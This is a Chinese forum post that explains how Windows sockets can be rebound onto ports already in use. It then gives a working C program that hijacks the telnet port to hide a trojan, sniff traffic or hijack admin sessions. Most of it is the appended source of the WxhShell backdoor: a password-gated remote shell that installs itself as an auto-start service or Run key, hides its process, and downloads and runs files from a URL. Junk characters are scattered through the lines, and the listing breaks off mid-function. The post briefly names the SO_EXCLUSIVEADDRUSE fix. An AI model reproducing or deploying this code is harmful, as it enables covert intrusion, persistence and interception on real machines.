社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13360阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .Q&rfH3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]Kde t"+  
5j^NV&/_  
  saddr.sin_family = AF_INET; C3VLV&wF  
:b/jNHJU  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~xyw>m+o.  
v6uxxsI>Hm  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;(6P6@+o  
*P2[qhP2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |n6Eg9  
x &=9P e(  
  这意味着什么?意味着可以进行如下的攻击: 8#LJ*o  
SH8/0g?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^J x$t/t  
XnUO*v^]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `v nJ4*  
wW`}VKu  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A6UO0lyu  
uDayBaR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^O6* e]C$  
[-w@.^:]X  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nr\q7  
v{;7LXy0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3HiFISA*  
.mxTfP=9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xiM&$<LpR  
G&9#*<F$c  
  #include or_+2aG  
  #include ?o[L7JI  
  #include lDc;__}Ws  
  #include    . (`3JQ2s  
  DWORD WINAPI ClientThread(LPVOID lpParam);   lCb+{OB  
  int main() y79qwM.  
  { c-CYdi@  
  WORD wVersionRequested; KN[d!}W:  
  DWORD ret; @q8an  
  WSADATA wsaData; !3}deY8;#  
  BOOL val; >HTbegi  
  SOCKADDR_IN saddr; I cF@F>>  
  SOCKADDR_IN scaddr; 85]SC$  
  int err; :tGYs8UK  
  SOCKET s; 61K"(r~  
  SOCKET sc; < {ru|-9  
  int caddsize; K5"sj|d&  
  HANDLE mt; 3|kgTB-  
  DWORD tid;   'BqZOZw  
  wVersionRequested = MAKEWORD( 2, 2 ); p1O6+hRio  
  err = WSAStartup( wVersionRequested, &wsaData ); V@ :20m  
  if ( err != 0 ) { +=3CL2{An  
  printf("error!WSAStartup failed!\n"); 9 $l>\.6  
  return -1; ``QHG&$ /  
  } n2ndjE$  
  saddr.sin_family = AF_INET; 0SV\{]2  
   `  2%6V)s  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,x_Z JL  
K"{HseN{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); RKkGITDk  
  saddr.sin_port = htons(23); >PalH24]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :FQ1[X1 xm  
  { pY}/j;.[  
  printf("error!socket failed!\n"); U;^[$Aq  
  return -1; )0CQP  
  } H;KDZO9W  
  val = TRUE; @Hjea1@t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8X7{vN_3K  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #hxyOq,  
  { & 0v.E"0<  
  printf("error!setsockopt failed!\n");  46,j9x  
  return -1; $k 2)8#\  
  } [*Ju3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dcq#TBo8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Q~,YbZ-7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 hR)2xz  
--k:a$Nt  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `T WN^0!]  
  { <' m6^]:  
  ret=GetLastError(); clDHTj=~  
  printf("error!bind failed!\n"); :nGMtF  
  return -1; \e:d)^cbh  
  } ;j} yB  
  listen(s,2); a/:XXy |  
  while(1) x8N|($1  
  {  '3 ,\@4  
  caddsize = sizeof(scaddr); F9Z @x)  
  //接受连接请求 }GZbo kWg.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B5=($?5^6%  
  if(sc!=INVALID_SOCKET) TMj4w,g4  
  { fEnQE EU~P  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); nkY@_N  
  if(mt==NULL) !,&yyx.  
  { EESN\_{~.  
  printf("Thread Creat Failed!\n"); dbF M,"^  
  break; :Ml7G  
  } l?E|R Kp  
  } 9%DT0.D}$j  
  CloseHandle(mt); Np,2j KF(  
  } =,/D/v$m'2  
  closesocket(s); #$1$T  
  WSACleanup(); 4E3g,%9u  
  return 0; l\Ftr_Dk  
  }   Wd 2sh  
  DWORD WINAPI ClientThread(LPVOID lpParam) (Wj2?k/]  
  { gRgog*z  
  SOCKET ss = (SOCKET)lpParam; Px;Cg 6  
  SOCKET sc; ;u-4KK  
  unsigned char buf[4096]; Fwfo2   
  SOCKADDR_IN saddr; *y7 $xa4  
  long num; Z[L5 ;  
  DWORD val; H5xzD9K;/C  
  DWORD ret; x0+glQrNN  
  //如果是隐藏端口应用的话,可以在此处加一些判断 LI W*4r!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   iS: #o>  
  saddr.sin_family = AF_INET; P%>?[9!Nt  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); v,1F-- v  
  saddr.sin_port = htons(23); $ |<m9CW  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >S#ul?  
  {  tFh|V pB  
  printf("error!socket failed!\n"); I$jvXl=$  
  return -1; ijYvqZ_  
  } i$Z#9M9  
  val = 100; M?@p N<|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _m'ysCjA  
  { fE;Q:# Z.  
  ret = GetLastError(); 8A2 z 5Aa  
  return -1; "> 90E^  
  } t1i(;|8|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) cf;Ht^M\  
  { AtHS@p  
  ret = GetLastError(); uofLhy!  
  return -1; f(Hu {c5yV  
  } +=fKT,-*G!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) i/qTFQst _  
  { JOfV]eCL  
  printf("error!socket connect failed!\n"); k W-81  
  closesocket(sc); FC>d_=V  
  closesocket(ss); #g v4  
  return -1; +;gsRhWk  
  } ?pwE0N^  
  while(1) ?0vNEz[  
  { AU{:;%.g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 '"xiS$b(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?[= U%sPu=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 AK/:I>M  
  num = recv(ss,buf,4096,0); V2 `> ]/|  
  if(num>0) JF9Hfs/jS  
  send(sc,buf,num,0); =_-C%<4  
  else if(num==0) j\2[H^   
  break; n[" 9|  
  num = recv(sc,buf,4096,0); []}N  
  if(num>0) A,XfD}+:Z  
  send(ss,buf,num,0); 2p< Aj!  
  else if(num==0) ?2`$3[ET-  
  break; aiux^V  
  } [.cq{6-  
  closesocket(ss); O%JSViPw  
  closesocket(sc); t4K56H.L?  
  return 0 ; C0m\SNR  
  } bkv/I{C>?  
\ TL82H@D  
k0ItG?Cv  
========================================================== *\ECf .7jz  
ExrY>*v  
下边附上一个代码,,WXhSHELL 6 =>G#  
! D1zXXq  
========================================================== !nw [  
X"/~4\tJ"  
#include "stdafx.h" dWpk='  
,"G\f1  
#include <stdio.h> m|4LbWz  
#include <string.h> HeS'~Z$  
#include <windows.h> F(4yS2h(  
#include <winsock2.h> rsxRk7s@  
#include <winsvc.h> 0m=(W^c  
#include <urlmon.h> uiMIz?+  
=5s$qb?#  
#pragma comment (lib, "Ws2_32.lib") Q[_Ni15  
#pragma comment (lib, "urlmon.lib") J/kH%_ >Ir  
w}k B6o]  
#define MAX_USER   100 // 最大客户端连接数 ?r3e*qJGn  
#define BUF_SOCK   200 // sock buffer "c Pz|~  
#define KEY_BUFF   255 // 输入 buffer 14l; *  
yT:!%\F9  
#define REBOOT     0   // 重启 Pj!%ym3A  
#define SHUTDOWN   1   // 关机 RVF F6N^  
R^tcr)(  
#define DEF_PORT   5000 // 监听端口 /hci\-8N~  
?5~!i9pY  
#define REG_LEN     16   // 注册表键长度 s]x2DH+_  
#define SVC_LEN     80   // NT服务名长度 9d\N[[Vu]R  
L82NP)St  
// 从dll定义API 'Y)/~\FI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T`Hw49  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +x]e-P%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); - L`7+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uUS)#qM |  
^ f{qJ[,  
// wxhshell配置信息 5$^c@ 0  
struct WSCFG { ^H!Lp[5c  
  int ws_port;         // 监听端口 X;]3$\F  
  char ws_passstr[REG_LEN]; // 口令 }td6fj_{  
  int ws_autoins;       // 安装标记, 1=yes 0=no fsI`DjKi)  
  char ws_regname[REG_LEN]; // 注册表键名 .@K#U52  
  char ws_svcname[REG_LEN]; // 服务名 /(zB0TEd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D_ ug-<QT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +]L)>$6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Pd],}/ZG-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8IOj[&%0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i'HST|!j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uI9lK  
+Ag#B*   
}; h/=-tr  
Xz* tbW#  
// default Wxhshell configuration cVg$dt  
struct WSCFG wscfg={DEF_PORT, ?h&l tD  
    "xuhuanlingzhe", % :tr  
    1, 2Q 3/-R  
    "Wxhshell", :BDviUC7Z  
    "Wxhshell", g& >m P?  
            "WxhShell Service", /cY[at|p  
    "Wrsky Windows CmdShell Service", G>j "cj  
    "Please Input Your Password: ", +V89J!7  
  1, S41)l!+2  
  "http://www.wrsky.com/wxhshell.exe", g TD%4V  
  "Wxhshell.exe" STRyW Ml  
    }; >I:9'"`  
Esa6hU#  
// 消息定义模块 [Ekgft&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P.1Qc)m4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F]SIT\kBm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :|fl?{E  
char *msg_ws_ext="\n\rExit."; ~,+[M-  
char *msg_ws_end="\n\rQuit."; QvNi8TB  
char *msg_ws_boot="\n\rReboot..."; 1Kc{#+a^  
char *msg_ws_poff="\n\rShutdown..."; q8tug=c  
char *msg_ws_down="\n\rSave to "; {5.?'vMp  
!g/_ w  
char *msg_ws_err="\n\rErr!"; N$ *>suQ,  
char *msg_ws_ok="\n\rOK!"; 4SBLu%=s%  
Qv=Bq{N  
char ExeFile[MAX_PATH]; dr>]+H=3E  
int nUser = 0; cWc$ yE'  
HANDLE handles[MAX_USER]; ]Y$&78u8t  
int OsIsNt; K1 6s)S'  
EK.c+Or,  
SERVICE_STATUS       serviceStatus; ;<~j)8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m9cj7  
;pCG9  
// 函数声明  nFVbQa~  
int Install(void); @OrXbG7&>#  
int Uninstall(void); '9Qd.q7s|b  
int DownloadFile(char *sURL, SOCKET wsh); E.Pje@d  
int Boot(int flag); \O,j}O'  
void HideProc(void); -ca]Q|m8  
int GetOsVer(void); 81cv:|"  
int Wxhshell(SOCKET wsl); tUn&z?7bF  
void TalkWithClient(void *cs); R+x%r&L5F  
int CmdShell(SOCKET sock); H|x k${R`  
int StartFromService(void); X.:_"+I;  
int StartWxhshell(LPSTR lpCmdLine); w7Pe  
s}<)B RZi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B##C{^5A`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e4?<GT   
?WMi S]Q\  
// 数据结构和表定义 = c/3^e  
SERVICE_TABLE_ENTRY DispatchTable[] = O]4W|WI3  
{ #SK#k<&P  
{wscfg.ws_svcname, NTServiceMain}, U8U/?zW/&  
{NULL, NULL} E^'C "6  
}; E)RI!0Ra  
EgCp:L{  
// 自我安装 hE9'F(87a  
int Install(void) b^@`uDb6  
{ 6Lav.x\W  
  char svExeFile[MAX_PATH]; GF9ZL  
  HKEY key; moZ)|y  
  strcpy(svExeFile,ExeFile); ~4}*Dhsh  
H,/~=d: ^  
// 如果是win9x系统,修改注册表设为自启动 /{49I,  
if(!OsIsNt) { [%7IQ4`{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 60(}_%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F9ZOSL 8Q  
  RegCloseKey(key); t Qp* '  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xu0;a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~ mHXz  
  RegCloseKey(key); 5mDVFb 3a  
  return 0; ;e`D#khB  
    } Cv gPIrl  
  } HFpjNR  
} /5a$@%  
else { tP/GDC;  
cob9hj#&7  
// 如果是NT以上系统,安装为系统服务 a-SB1-5jf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {^2({A#&  
if (schSCManager!=0) I67k M{V  
{ zDKLo 3:  
  SC_HANDLE schService = CreateService uQXs>JuD  
  ( IiYuUN1D  
  schSCManager, e_;%F`  
  wscfg.ws_svcname, ' |h./.K  
  wscfg.ws_svcdisp, >MBn2(\B;  
  SERVICE_ALL_ACCESS, Oct\He\.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4Xa.r6T_N=  
  SERVICE_AUTO_START, ksxO<Y  
  SERVICE_ERROR_NORMAL, 'Hcd&3a  
  svExeFile,  oaH+c9v  
  NULL, kG_&-b  
  NULL, e2,<,~_K6  
  NULL, 7"h=MB_  
  NULL, ^F;Z%5P=  
  NULL \H"/2o%l")  
  ); 7 UB8N vo  
  if (schService!=0) bdNY7|j`  
  { R.^Bxi-UG:  
  CloseServiceHandle(schService); P\Pc/[ Z7  
  CloseServiceHandle(schSCManager); \xa36~hh40  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,.1&Ff)S  
  strcat(svExeFile,wscfg.ws_svcname); YA1{-7'Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]JhDRJ\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q[Sp|C6x  
  RegCloseKey(key); Q{(,/}kA-  
  return 0; t*ri`}a{v  
    } |hZ|+7  
  } ;[;S_|vZ=)  
  CloseServiceHandle(schSCManager); Q_UCF'f;}  
} x);?jxd  
} /cn/[O9  
b[QCM/  
return 1; 3P=Eb!qtdD  
} ba8-XA_~U  
~7eUt^SD;  
// 自我卸载 qHcY 2LV  
int Uninstall(void) uv_P{%TK  
{ ;m M\, {Z  
  HKEY key; g,{Ei]$>I  
={wjeRp  
if(!OsIsNt) { k;AV;KWI'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U)T/.L{0i  
  RegDeleteValue(key,wscfg.ws_regname); ^*4(JR   
  RegCloseKey(key); 7J)a"d^e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nys'4kx7  
  RegDeleteValue(key,wscfg.ws_regname); J$eZLj  
  RegCloseKey(key); ^$Me#ls!  
  return 0; $bM#\2'  
  } P+_\}u;  
} L?/M2zc9Y  
} bb0{-T)1  
else { 2t Z\{=  
A~ %g"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :\ON+LQr  
if (schSCManager!=0) 8B% O%*5`  
{ ^.><t+tM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ` Q!FMv6Y^  
  if (schService!=0) =*U%j  
  { mF$jC:Tb  
  if(DeleteService(schService)!=0) { ?_<UOb*  
  CloseServiceHandle(schService); X/?h!Y}  
  CloseServiceHandle(schSCManager); rE' %MiIK  
  return 0;  ]pucv!  
  } jv?aB   
  CloseServiceHandle(schService); k6 h^  
  } A16-  
  CloseServiceHandle(schSCManager); u3ri6Y`  
} wft:eQ  
} /Va&k4  
P PIG?fK)  
return 1; J6?_?XzToT  
} ;74 DT  
d$G%F$BTs  
// 从指定url下载文件 XDv7#Tv_wv  
int DownloadFile(char *sURL, SOCKET wsh) O(WMTa'%  
{ =kZwB*7  
  HRESULT hr; HS|g   
char seps[]= "/"; P\G C8KV]  
char *token; tMs| UC  
char *file; i}&mz~  
char myURL[MAX_PATH]; e]L3=R;  
char myFILE[MAX_PATH]; @bVh?T0~F,  
| 2c!t$O@v  
strcpy(myURL,sURL); e"&9G}.f  
  token=strtok(myURL,seps); ]|\>O5eeu  
  while(token!=NULL) ct4)faM  
  { /%@RO^P  
    file=token; &@.=)4Y  
  token=strtok(NULL,seps); 8Jly! =Qm5  
  } +cplM5X  
9zGKQ|X)  
GetCurrentDirectory(MAX_PATH,myFILE); myo~Qqt?  
strcat(myFILE, "\\"); =;-ju@d  
strcat(myFILE, file); V IRv  
  send(wsh,myFILE,strlen(myFILE),0); 5a/ A_..+I  
send(wsh,"...",3,0); '/]Aaf@U8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d)J] Y=j  
  if(hr==S_OK) W$ d{  
return 0; VL,?91qwe  
else `OpC-Z&  
return 1; ObHz+qRG  
= ,E(!Sp  
} _xZb;PbFE  
:?of./Df|  
// 系统电源模块 WaZ@  
int Boot(int flag) w<^2h}5  
{ @'| 6lG  
  HANDLE hToken; E/Gs',Y  
  TOKEN_PRIVILEGES tkp; n<(5B|~y  
Kd|l\k!  
  if(OsIsNt) { ;>x1)|n5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wQ/@+$>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /)OO)B-r  
    tkp.PrivilegeCount = 1; mDt",#g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QBT-J`Pz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); . R8W<  
if(flag==REBOOT) { $S-;M0G x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7-0twq   
  return 0; o9SfWErZ  
} b}{9 :n/SC  
else { >|&OcU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L08;z  
  return 0; 5~rY=0t  
} T!eh?^E  
  } _ .   
  else { `0gK;D8t  
if(flag==REBOOT) { L\'qAfRZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VH1c)FI  
  return 0; s/'hLkxI  
} Qmh(+-Mp(  
else { LCm}v&~%A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QMfy^t+I  
  return 0; 3<Y;mA=hw  
} sn-+F%[  
} :usBeho  
IXk'?9  
return 1; */h 9"B  
} tf}Q%)`f  
#3ro?w  
// win9x进程隐藏模块 vT<wd#  
void HideProc(void) U=1`. Ove  
{ `U>b6 {K  
!(AFT!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MvwJ(3  
  if ( hKernel != NULL ) K OHH74}_  
  { dM;WG;8e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1+ARV&bc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Dve5m=  
    FreeLibrary(hKernel); I6 Q_A  
  } @z?.P;f9#  
@x>2|`65Y  
return; c15^<6]g  
} ialk6i![  
V \ 8 5  
// 获取操作系统版本 9 7qS.Z27  
int GetOsVer(void) 'cc4Y~0s  
{ +}Wo=R}  
  OSVERSIONINFO winfo; yX Q;LQ;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nU#q@p)Xg  
  GetVersionEx(&winfo); L6}x3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [5d][1=  
  return 1; 5'[X&r %#  
  else u\;dU nr  
  return 0; q2pao?aa  
} &l*dYzqq  
QnAf A%  
// 客户端句柄模块 @+vTGjHA  
int Wxhshell(SOCKET wsl) %QZ!Tb  
{ 5"]2@@b4  
  SOCKET wsh; +>%+r  
  struct sockaddr_in client; )Ea_:C'  
  DWORD myID; Xr;noV-X  
W3j|%  
  while(nUser<MAX_USER) l[0P*(I,  
{ 6spk* 8e  
  int nSize=sizeof(client); 6M|%nBN$|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c<x6_H6[8  
  if(wsh==INVALID_SOCKET) return 1; HcUz2Rm5XP  
K1WoIv<Ym  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uzA'D~)P  
if(handles[nUser]==0) @z RB4d$  
  closesocket(wsh); 4}FfHgpQ  
else +Y[+2=lO  
  nUser++; 0'}?3/u-  
  } ==r|]~x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NX",e=  
!\ukb  
  return 0; 6-YR'ikU  
} Wm&f+{LO+K  
+# >%bq x  
// 关闭 socket AWNd(B2o  
void CloseIt(SOCKET wsh) G{Q'N04RA  
{ ;MI<J>s  
closesocket(wsh); PTZ1 oD  
nUser--; o/ 5 Fg>d  
ExitThread(0); ZEJa dR  
} RN| ..zml  
VMXXBa&  
// 客户端请求句柄 pa73`Ca]  
void TalkWithClient(void *cs) x)5v8kgf  
{ H)+kN'J  
m%\[1|N  
  SOCKET wsh=(SOCKET)cs; JH;DVPX9z  
  char pwd[SVC_LEN]; <\mc|p"  
  char cmd[KEY_BUFF]; [SvwJIJJ  
char chr[1]; ]}l!L;  
int i,j; .e+UgC wi  
`roSOX1f  
  while (nUser < MAX_USER) { Oei2,3l,?  
( %!R  
if(wscfg.ws_passstr) { FI5C&d5d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?R}oXSVT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s~w+bwr  
  //ZeroMemory(pwd,KEY_BUFF); L ,/i%-J3c  
      i=0; C^tC} n1D(  
  while(i<SVC_LEN) { _4]dPk#^  
l d9#4D[#  
  // 设置超时 pwC/&bu  
  fd_set FdRead; #4u; `j"4=  
  struct timeval TimeOut; zghm2{:`?g  
  FD_ZERO(&FdRead); qm8RRDG  
  FD_SET(wsh,&FdRead); d2C:3-4  
  TimeOut.tv_sec=8; s30_lddD  
  TimeOut.tv_usec=0; Q.AM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !m2k0|9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {r8CzJ'f  
]f~YeOB@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r&DK> H  
  pwd=chr[0]; !:e qPpz  
  if(chr[0]==0xd || chr[0]==0xa) { Qd?P[xm  
  pwd=0; 0^z$COCv  
  break; uy{KV"%"^g  
  } 1hG O*cq!  
  i++; BI]t}7  
    } WG{/I/bJ_  
mio'm  
  // 如果是非法用户,关闭 socket cf'Z#NfQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?Gfe?  
} V:J6eks_  
Us5 JnP5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sSK$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8msDJ {,X  
t79MBgZ  
while(1) { Oa .%n9ec  
|VL,\&7rk  
  ZeroMemory(cmd,KEY_BUFF); GAlO<Mu  
KRe=n3 1  
      // 自动支持客户端 telnet标准   }D O#{@af  
  j=0; 0iHI "9z  
  while(j<KEY_BUFF) { 5ntP{p%>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zL'n J  
  cmd[j]=chr[0]; k5YDqG n'q  
  if(chr[0]==0xa || chr[0]==0xd) { W=m_G]"L  
  cmd[j]=0; Fu/CX4R_|  
  break; ;|y,bo@sJJ  
  } \tqAv'jA|  
  j++; $u sU  
    } xWm'E2  
H5{J2M,f  
  // 下载文件 wSMgBRV#^  
  if(strstr(cmd,"http://")) { CHB{P\WF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "/"k50%  
  if(DownloadFile(cmd,wsh)) ='j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z5=!R$4  
  else V'$ eun  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4J1Q])G9  
  } O.dNhd$  
  else { /'(P{O>{j  
E=d[pI,e  
    switch(cmd[0]) { 2LdV=ifq2S  
  ^l,Jbt  
  // 帮助 n6}1{\  
  case '?': { Zn/ /u<D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t}nRWo  
    break; ;Z*RCuwg  
  } d\f 5\Y  
  // 安装 {Hv=iVmt  
  case 'i': { !l|Qyk[  
    if(Install()) /[L:ol6;!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .8m)^ET  
    else :\Z0^{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "e"`Or  
    break; S}/CzQ  
    } S}E@*t2 h  
  // 卸载 +}Pa/8ybJ  
  case 'r': {  2~)]E#9  
    if(Uninstall()) ))N^)HR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lI 8"o>-~  
    else mx yT==E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /Kvb$]F+!  
    break; o%.cQo=v*  
    } QI- 3m qL  
  // 显示 wxhshell 所在路径 JoYzC8/r  
  case 'p': { (ni$wjq=z^  
    char svExeFile[MAX_PATH]; slx^" BF^  
    strcpy(svExeFile,"\n\r"); u=[oo @Rk`  
      strcat(svExeFile,ExeFile); (2(hl-- 'n  
        send(wsh,svExeFile,strlen(svExeFile),0); h:;~)={"X  
    break; Ub$$wOsf  
    } h4#5j'RO  
  // 重启 `6A"e Da  
  case 'b': { ]Vsze4>Z[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c2nZd.SD|  
    if(Boot(REBOOT)) >X F@=J p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LHz{*`22q  
    else { L8fr uwb  
    closesocket(wsh); i469<^A  
